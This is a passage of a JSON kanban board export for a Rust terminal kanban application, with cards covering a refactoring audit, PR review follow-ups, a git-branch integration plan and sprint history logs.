(handlers/card/, handlers/board/, handlers/navigation/). Extract the 8-repeated dialog match\npattern into a single HOF. Deduplicate count_headers_in_viewport.\n\nEffort: 2–3 days | Payoff: Clear home for new handlers, ~150 lines of duplicate code eliminated.\n\n---\nPriority 8 — Domain Model Sizes\n\nFiles: `kanban-domain/src/board.rs` (918 lines), `card.rs` (728 lines), `card_lifecycle.rs` (600 lines), `dependencies/card_graph.rs` (636 lines)\nVelocity Impact: 🟡 Medium — violates the 300-line guideline 2–3x over; slow to navigate\n\nWhat to do: Split `board.rs` into `board/mod.rs` + `board/operations.rs` + `board/serialization.rs`. Split `card.rs` into `card/mod.rs` +\n`card/update.rs` + `card/lifecycle.rs`.\n\nEffort: 1–2 days | Payoff: Navigation speed, reduced cognitive load when editing one concern.\n\n---\nPriority 9 — Type Safety via Newtypes\n\nFiles: `kanban-domain/src/board.rs:9`, `card.rs:9`, `column.rs`, etc.\nVelocity Impact: 🟡 Medium — current type BoardId = Uuid allows swapping IDs silently; bugs are slow to find\n\n// Current: compile-time silent bug possible\n`fn move_card(card_id: Uuid, column_id: Uuid)`\n\n// With newtypes: compile error if swapped\n`fn move_card(card_id: CardId, column_id: ColumnId)`\n\nEffort: 1–2 days | Payoff: Eliminates a whole class of runtime bugs. Zero cost at runtime.\n\n---\nPriority 10 — Remove Dead Abstractions\n\nFiles: `kanban-core/src/traits.rs` (lines 5–20)\nVelocity Impact: 🟢 Low — but causes confusion for new contributors\n\n`Repository<T, Id>` and `Service<T, Id>` traits are defined but never implemented. The `CLAUDE.md` documentation still references a kanban-db\ncrate that doesn't exist.\n\nWhat to do: Either delete these traits and update `CLAUDE.md`, or implement them (the persistence trait pattern exists in\n`kanban-persistence/src/traits.rs` and is real).\n\nEffort: 0.5 days | Payoff: Reduces architectural confusion.\n\n---\nSummary Table\n\n┌─────┬────────────────────────┬────────────────────────────────────────────────┬─────────────────┬──────────┐\n│  #  │          Area          │                  Key File(s)                   │ Velocity Impact │  Effort  │\n├─────┼────────────────────────┼────────────────────────────────────────────────┼─────────────────┼──────────┤\n│ 1   │ App God Object         │ app.rs (2,060 lines, 58 fields)                │ 🔴 Critical     │ 4–6 days │\n├─────┼────────────────────────┼────────────────────────────────────────────────┼─────────────────┼──────────┤\n│ 2   │ Dialog System          │ DialogMode enum + 4 handler files              │ 🔴 Critical     │ 3–4 days │\n├─────┼────────────────────────┼────────────────────────────────────────────────┼─────────────────┼──────────┤\n│ 3   │ Keybinding System      │ app.rs:336–730 + keybindings/                  │ 🟠 High         │ 2–3 days │\n├─────┼────────────────────────┼────────────────────────────────────────────────┼─────────────────┼──────────┤\n│ 4   │ ui.rs Split            │ ui.rs (1,792 lines)                            │ 🟠 High         │ 2–3 days │\n├─────┼────────────────────────┼────────────────────────────────────────────────┼─────────────────┼──────────┤\n│ 5   │ Context Triplication   │ tui_context, cli_context, mcp_context          │ 🟠 High         │ 3–4 days │\n├─────┼────────────────────────┼────────────────────────────────────────────────┼─────────────────┼──────────┤\n│ 6   │ Test Structure         │ kanban-domain, kanban-persistence inline tests │ 🟡 Medium       │ 2–3 days │\n├─────┼────────────────────────┼────────────────────────────────────────────────┼─────────────────┼──────────┤\n│ 7   │ Handler Reorganization │ handlers/ (4,979 lines)                        │ 🟡 Medium       │ 2–3 days │\n├─────┼────────────────────────┼────────────────────────────────────────────────┼─────────────────┼──────────┤\n│ 8   │ Domain Model Sizes     │ board.rs (918), card.rs (728)                  │ 🟡 Medium       │ 1–2 days │\n├─────┼────────────────────────┼────────────────────────────────────────────────┼─────────────────┼──────────┤\n│ 9   │ Newtype IDs            │ All type XxxId = Uuid                          │ 🟡 Medium       │ 1–2 days │\n├─────┼────────────────────────┼────────────────────────────────────────────────┼─────────────────┼──────────┤\n│ 10  │ Dead Abstractions      │ kanban-core/src/traits.rs                      │ 🟢 Low          │ 0.5 days │\n└─────┴────────────────────────┴────────────────────────────────────────────────┴─────────────────┴──────────┘\n\nTotal estimated effort: ~21–31 days. Done in order, each step makes the next one faster because the codebase becomes more navigable as you\n go. Items 1–5 are the core unlock for sustained velocity.\n",
        "due_date": null,
        "id": "1199de70-4bcb-4dd9-b016-2303ec9aa0ed",
        "points": 3,
        "position": 1,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856356270Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Codebase Quality Audit — Architecture & Refactor Opportunities",
        "updated_at": "2026-04-06T20:54:41.238213574Z"
      },
      {
        "card_number": 4,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:45.523148Z",
        "created_at": "2025-10-10T08:47:57.834239Z",
        "description": "The application is exporting boards using two different formats.\n\n```JSON\n{ board: { ... } }\n```\n\nand\n\n```JSON\n{ boards: [{ ... }] }\n```\n\nLet us make import and export only expect the latter.\n",
        "due_date": null,
        "id": "143615fe-fbcd-4d80-a88d-8173ec4b9573",
        "points": 1,
        "position": 2,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155905Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Unify import and export",
        "updated_at": "2025-10-18T21:08:32.067931Z"
      },
      {
        "card_number": 66,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-20T15:37:09.068407Z",
        "description": "Be able to create a new card based on current card description.\n\nOpen card details with the currently selected cards data copied into a new card\n\nNeed some indicator in ui that a new card is being created \n\nif no changes are made in to the new card. do nothing. create no new card\n",
        "due_date": null,
        "id": "68a45e0c-b223-4e06-a5a7-d367979f5967",
        "points": 2,
        "position": 2,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448937Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155916Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:22.981679Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448937Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264691Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:22.981690Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374888Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264692Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784609Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374890Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742984093Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784609Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989211415Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742984316Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989211675Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Create new card from card",
        "updated_at": "2026-04-04T23:33:28.989213595Z"
      },
      {
        "card_number": 11,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-10T22:53:19.579898Z",
        "description": "Should be pretty self explantory. For cards with a longer description.\n\nWe want to be able to scroll so see more.\n\nPriority low as we can open `$EDITOR`\n",
        "due_date": null,
        "id": "454144d2-27ac-4abf-8632-407908fa8f80",
        "points": 1,
        "position": 3,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-04T00:22:28.640552Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155906Z",
            "status": "Completed"
          },
          {
            "ended_at": "2025-11-17T22:41:08.233357Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-04T00:22:28.640559Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264686Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:08.233362Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374923Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264687Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784588Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374925Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742965043Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784588Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989214513Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742965322Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989214891Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Be able to scroll in the card description",
        "updated_at": "2026-04-04T23:33:28.989216149Z"
      },
      {
        "card_number": 5,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:46.170907Z",
        "created_at": "2025-10-10T09:08:28.861766Z",
        "description": "To better align with the kanban domain let us change the export field `tasks` into `cards`\n",
        "due_date": null,
        "id": "959a092f-61de-41de-ac4a-729d6e1fcadf",
        "points": 1,
        "position": 3,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155905Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Rename tasks of exports to cards",
        "updated_at": "2025-10-16T21:02:46.170907Z"
      },
      {
        "card_number": 225,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-03-22T01:39:59.256575150Z",
        "description": "Follow-up items from code review of PR #189 (KAN-224/decompose-app-rs-into-focused-modules). Zero blockers — PR was merged as-is.\n\n---\n\n## 1. Rename `SelectionHub` to something clearer\n\n**File:** `crates/kanban-tui/src/app/selection.rs:4`\n**Type:** Naming / readability\n\n```rust\npub struct SelectionHub {\n    pub board: SelectionState,\n    pub active_board_index: Option<usize>,\n    pub active_card_index: Option<usize>,\n    pub sprint: SelectionState,\n    pub active_sprint_index: Option<usize>,\n    pub card_navigation_history: Vec<usize>,\n}\n```\n\n`Hub` implies it coordinates or dispatches between things (like an event hub or message hub). This struct is just a plain data grouping of selection indices and cursor state. A reader seeing `self.selection.board` would not immediately know what \"hub\" means here.\n\n**Suggested names:** `AppSelection`, `CursorState`, or simply `SelectionState` (if the `kanban_core::SelectionState` name collision can be resolved via aliasing or renaming the core type).\n\n**Action:** Rename the struct and the `App` field from `selection: SelectionHub` to `selection: AppSelection` (or chosen name). Search all handler files for `self.selection.` — they all need updating but it is a trivial find-replace.\n\n---\n\n## 2. `FocusState` mixes two different lifecycle concerns\n\n**File:** `crates/kanban-tui/src/app/focus.rs:91-95`\n**Type:** Design / cohesion\n\n```rust\npub struct FocusState {\n    pub active: Focus,        // toggled on every Tab/hjkl press\n    pub card_focus: CardFocus,   // only meaningful inside CardDetail mode\n    pub board_focus: BoardFocus, // only meaningful inside BoardDetail mode\n}\n```\n\n`active` is the global panel focus (Boards vs Cards) and changes constantly during normal navigation. `card_focus` and `board_focus` are sub-panel cursors that are only semantically relevant when the app is in `AppMode::CardDetail` or `AppMode::BoardDetail` respectively — outside those modes their values are stale/irrelevant.\n\nGrouping them together in `FocusState` means a reader of `FocusState` has to mentally track when each field is valid. It also means detail-mode logic and navigation logic both mutate the same struct.\n\n**Option A (preferred):** Move `card_focus: CardFocus` into a `CardDetailState` struct (does not exist yet, could live in a new `card_detail.rs`), and `board_focus: BoardFocus` into a `BoardDetailState`. These would be separate `App` fields only consulted in their respective modes.\n\n**Option B (minimal):** Keep them in `FocusState` but rename to `FocusState.panel` (instead of `active`) to signal it is the panel-level concern, and add comments on `card_focus`/`board_focus` that they are detail-mode sub-cursors.\n\n---\n\n## 3. Drop redundant `#[derive(Default)]` on `PersistenceState`\n\n**File:** `crates/kanban-tui/src/app/persistence.rs:3,16`\n**Type:** Cleanup / consistency\n\n```rust\n#[derive(Default)]   // <-- never actually called\npub struct PersistenceState {\n    pub save_file: Option<String>,\n    pub file_change_rx: Option<...>,\n    pub file_watcher: Option<...>,\n    pub save_worker_handle: Option<...>,\n    pub save_completion_rx: Option<...>,\n}\n\nimpl PersistenceState {\n    pub fn new(save_file: Option<String>, save_completion_rx: ...) -> Self { ... }\n}\n```\n\n`App::new` always constructs `PersistenceState` via `PersistenceState::new(save_file, save_completion_rx)`. The `Default` impl (which would give all-`None`) is never invoked anywhere in the codebase. Having both is misleading — it suggests `Default` is a valid construction path when in practice `save_completion_rx` needs to come from the state manager and should never silently default to `None`.\n\n**Action:** Remove `#[derive(Default)]`. If `App` ever needs a fully-defaulted construction path (e.g. for tests), the `new(None, None)` call is explicit and clear enough. Alternatively, drop `new()` and use a struct literal in `App::new` — matching how every other sub-struct (`AnimationState::default()`, `FilterState::default()`, etc.) is constructed — but that requires callers to know all field names, so the `new()` constructor is probably worth keeping.\n\n---\n\n## 4. `viewport_height` and `last_frame_area` are redundant in `ViewState`\n\n**File:** `crates/kanban-tui/src/app/view.rs:11`\n**Type:** Cleanup / derived state\n\n```rust\npub struct ViewState {\n    pub strategy: Box<dyn ViewStrategy>,\n    pub card_list_component: CardListComponent,\n    pub viewport_height: usize,   // <-- redundant?\n    pub last_frame_area: Rect,    // <-- source of truth\n}\n```\n\n`last_frame_area` is a `ratatui::layout::Rect` that contains the full terminal dimensions from the most recent render frame. `viewport_height` is a `usize` that is a subset of that information (the height of the card list viewport area, which is derived from the frame area minus borders/padding).\n\nStoring both means there are two sources of truth that can drift: if `last_frame_area` is updated but `viewport_height` is not recomputed, scroll calculations could use a stale height.\n\n**Action:** Audit all reads of `self.view.viewport_height`. If it is always set immediately after a frame render using `last_frame_area`-derived math, consider computing it on-demand via a `ViewState::viewport_height()` method rather than storing it. If it is genuinely updated at a different cadence, document why.\n\n---\n\n## 5. `ANIMATION_DURATION_MS` bypasses the re-export pattern\n\n**File:** `crates/kanban-tui/src/app/animation.rs:6`, `crates/kanban-tui/src/app/mod.rs` (animation tick handler)\n**Type:** Consistency / style\n\nEvery other symbol from the 12 sub-modules is re-exported at the `app/mod.rs` level:\n```rust\npub mod animation;\npub use animation::{AnimationState, CardAnimation};  // types re-exported\n// ANIMATION_DURATION_MS is NOT re-exported\n```\n\nBut the const is accessed internally via its module path:\n```rust\nif elapsed >= animation::ANIMATION_DURATION_MS {\n```\n\nThis is the only place in `mod.rs` that reaches back into a sub-module via its path rather than using a re-exported name. It works, but it is inconsistent and slightly surprising — a reader skimming `mod.rs` would not see `ANIMATION_DURATION_MS` in the re-export list and might not realise it is defined in `animation.rs`.\n\n**Option A:** Add `pub use animation::ANIMATION_DURATION_MS;` to the re-export block (makes it consistent, but exports an internal implementation detail at crate level).\n\n**Option B (preferred):** Since this const is only used in one place inside `mod.rs`, make it `pub(super)` in `animation.rs` (currently `pub(crate)`) and access it as `animation::ANIMATION_DURATION_MS` — but add a comment in the re-export block: `// ANIMATION_DURATION_MS intentionally not re-exported (internal use only)`.\n\n**Option C:** Inline the value (`150u128`) directly at the use site and delete the named const — it is only used once.\n",
        "due_date": null,
        "id": "71022cd7-68e9-4c74-a824-6d9d9e2682d0",
        "points": 1,
        "position": 3,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856375455Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Follow-up nits from PR #189 app.rs decomposition",
        "updated_at": "2026-04-04T23:44:57.911144927Z"
      },
      {
        "card_number": 342,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:46.691481Z",
        "created_at": "2025-10-10T21:58:56.145240Z",
        "description": "We want to be able to create git branches and tie them to specific tasks so that we can trace the history.\n\nBe able to specify a prefix for use in the project\n\n- Set prefix in Board settings\n- Assign prefix + autoincremented number to card\n- From a card. Copy branch name\n- From a card. Copy `git checkout -b prefix+id`\n\nShould the id be autoincrement or uuid?\n\nReadability says it should be autoincremented. So we go with that for now.\n\n- If no prefix fallback to a default.\n- Customize default. Requires application configuration file feature?\n\n╭────────────────────────────────────────────────────────────────╮\n│ Git Branch Integration Implementation Plan                     │\n│                                                                │\n│ Core Design Decisions                                          │\n│                                                                │\n│ - Branch ID: Auto-incremented u32 per board (decided:          │\n│ readability over UUIDs)                                        │\n│ - Prefix Hierarchy: Board prefix → App config default → \"task\" │\n│  fallback                                                      │\n│ - ID Assignment: Lazy (on first request) to avoid assigning    │\n│ IDs to cards that never need branches                          │\n│ - Branch Format: {prefix}-{id} (e.g., feature-42, task-17)     │\n│                                                                │\n│ ---                                                            │\n│ 1. Domain Layer (kanban-domain)                                │\n│                                                                │\n│ Board model (board.rs):                                        │\n│ - Add branch_prefix: Option<String> field                      │\n│ - Add next_card_id: u32 field (default: 1)                   │\n│ - Add update_branch_prefix(&mut self, prefix: Option<String>)  │\n│ method                                                         │\n│ - Add allocate_card_id(&mut self) -> u32 method              │\n│                                                                │\n│ Card model (card.rs):                                          │\n│ - Add card_id: Option<u32> field                             │\n│ - Add ensure_card_id(&mut self, board: &mut Board) method    │\n│ - Add branch_name(&self, board: &Board, default_prefix: &str)  │\n│ -> Option<String> method                                       │\n│ - Add git_checkout_command(&self, board: &Board,               │\n│ default_prefix: &str) -> Option<String> method                 │\n│ - Add prefix validation (no spaces, git-safe characters)       │\n│                                                                │\n│ ---                                                            │\n│ 2. Application Configuration (kanban-core)                     │\n│                                                                │\n│ Create new config.rs module:                                   │\n│ - Define AppConfig struct with default_branch_prefix:          │\n│ Option<String>                                                 │\n│ - Use config crate or simple TOML parsing                      │\n│ - Config file location: ~/.config/kanban/config.toml           │\n│ - Load config on app startup in kanban-cli                     │\n│ - Thread through to TUI via App struct                         │\n│                                                                │\n│ ---                                                            │\n│ 3. Clipboard Integration (kanban-tui)                          │\n│                                                                │\n│ Add dependencies to kanban-tui/Cargo.toml:                     │\n│ - arboard = \"3.4\" (cross-platform clipboard)                   │\n│                                                                │\n│ Create new clipboard.rs module:                                │\n│ - copy_to_clipboard(text: &str) -> io::Result<()>              │\n│ - Handle errors gracefully (e.g., headless environments)       │\n│                                                                │\n│ ---                                                            │\n│ 4. TUI Layer (kanban-tui)                                      │\n│                                                                │\n│ App struct (app.rs):                                           │\n│ - Add app_config: AppConfig field                              │\n│ - Add clipboard operations to card detail mode                 │\n│                                                                │\n│ Board settings (new mode AppMode::BoardSettings):              │\n│ - Add focus state for navigating board settings                │\n│ - Edit branch prefix with external editor or inline input      │\n│ - Show current prefix, effective prefix (with fallback chain)  │\n│                                                                │\n│ Card detail view (ui.rs):                                      │\n│ - Show branch ID (if assigned)                                 │\n│ - Show computed branch name                                    │\n│ - Show git checkout command                                    │\n│                                                                │\n│ Key bindings (in CardDetail mode):                             │\n│ - b - Assign branch ID (if not already assigned)               │\n│ - y - Copy branch name to clipboard                            │\n│ - Y - Copy git checkout -b {branch} to clipboard               │\n│ - Add to help text                                             │\n│                                                                │\n│ New AppMode variants:                                          │\n│ - BoardSettings - for editing board-level settings             │\n│ - SetBranchPrefix - dialog for setting prefix                  │\n│                                                                │\n│ ---                                                            │\n│ 5. Persistence                                                 │\n│                                                                │\n│ Update serialization/deserialization:                          │\n│ - Board export/import already uses serde                       │\n│ - New fields automatically included                            │\n│ - Migration: existing boards get branch_prefix: None,          │\n│ next_card_id: 1                                              │\n│ - Existing cards get card_id: None                           │\n│                                                                │\n│ ---                                                            │\n│ 6. Testing Strategy                                            │\n│                                                                │\n│ Unit tests:                                                    │\n│ - Branch ID allocation (sequential, no gaps)                   │\n│ - Branch name generation with different prefix scenarios       │\n│ - Prefix validation (reject invalid git characters)            │\n│ - Clipboard operations (mock if needed)                        │\n│                                                                │\n│ Integration tests:                                             │\n│ - Round-trip serialization with new fields                     │\n│ - Multiple cards getting sequential IDs                        │\n│                                                                │\n│ ---                                                            │\n│ 7. Implementation Order                                        │\n│                                                                │\n│ 1. Add AppConfig in kanban-core                                │\n│ 2. Update Board domain model with prefix + next_card_id      │\n│ 3. Update Card domain model with card_id + methods           │\n│ 4. Add clipboard module to kanban-tui                          │\n│ 5. Update App struct to hold config                            │\n│ 6. Add board settings mode in TUI                              │\n│ 7. Add card detail branch operations                           │\n│ 8. Update help text and key bindings                           │\n│ 9. Add tests                                                   │\n│ 10. Update CLAUDE.md with new features                         │\n│                                                                │\n│ ---                                                            │\n│ 8. Edge Cases & Validation                                     │\n│                                                                │\n│ - Validate prefix: alphanumeric + hyphens only, no             │\n│ leading/trailing hyphens                                       │\n│ - Max branch name length: git supports ~255 chars, warn if     │\n│ prefix + ID exceeds reasonable length                          │\n│ - Clipboard unavailable: show friendly error, fallback to      │\n│ displaying text                                                │\n│ - Board without prefix: use app config default or \"task\"       │\n│ - Cards created before feature: assign IDs on demand           │\n│                                                                │\n│ ---                                                            │\n│ Example Usage Flow                                             │\n│                                                                │\n│ 1. User opens board settings (s in projects view)              │\n│ 2. Sets prefix to \"feat\"                                       │\n│ 3. Navigates to card, presses b to assign branch ID → card     │\n│ gets card_id=1                                               │\n│ 4. Board's next_card_id increments to 2                      │\n│ 5. User presses y → copies \"feat-1\" to clipboard               │\n│ 6. User presses Y → copies \"git checkout -b feat-1\" to         │\n│ clipboard                                                      │\n│ 7. Next card gets card_id=2, branch name \"feat-2\"            │\n│                                                                │\n│ ---                                                            │\n│ Dependencies to add:                                           │\n│ - arboard = \"3.4\" (clipboard)                                  │\n│ - config = \"0.14\" (optional, for TOML config parsing)          │\n│ - OR use simple std::fs::read_to_string + toml = \"0.8\" for     │\n│ lightweight config     \n",
        "due_date": null,
        "id": "292e3f49-089b-40fb-8ea7-c693603904b2",
        "points": 5,
        "position": 4,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155905Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Add git branches to card meta data",
        "updated_at": "2025-10-16T21:02:46.691481Z"
      },
      {
        "card_number": 50,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-14T20:52:00.077779Z",
        "description": "When ordering cards by priority (or anything) set the undefined item last\n",
        "due_date": null,
        "id": "4b875d66-a9a2-48b9-83e6-3b879ade8b4e",
        "points": 1,
        "position": 4,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-17T22:41:20.088757Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T17:01:19.623530Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264775Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:20.088764Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.375Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264775Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784598Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.375001Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742981098Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784599Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989223501Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742981301Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989223761Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "cards without priority should be order following low priority",
        "updated_at": "2026-04-04T23:33:28.989225521Z"
      },
      {
        "card_number": 36,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-12T14:44:43.936971Z",
        "description": "This feels like a task that can easily spin out of control\n\nWe want to keep a historic log for changes to each entity\n\nDo I want to keep the log in a seperate file? \n\nWe start by keeping it simple. Start by proposing\n\n```JSON\n{ boards: [ ... ], logs: [ { boards: { ... }, ... ] } }\n```\n",
        "due_date": null,
        "id": "cdaed89e-ddb8-4a99-9567-b1096f6aaca2",
        "points": 5,
        "position": 5,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-17T22:41:15.760147Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T17:01:19.623525Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264729Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:15.760153Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.375003Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264729Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784620Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.375004Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742971647Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784620Z",
            "status": "Planning"
          },
          {
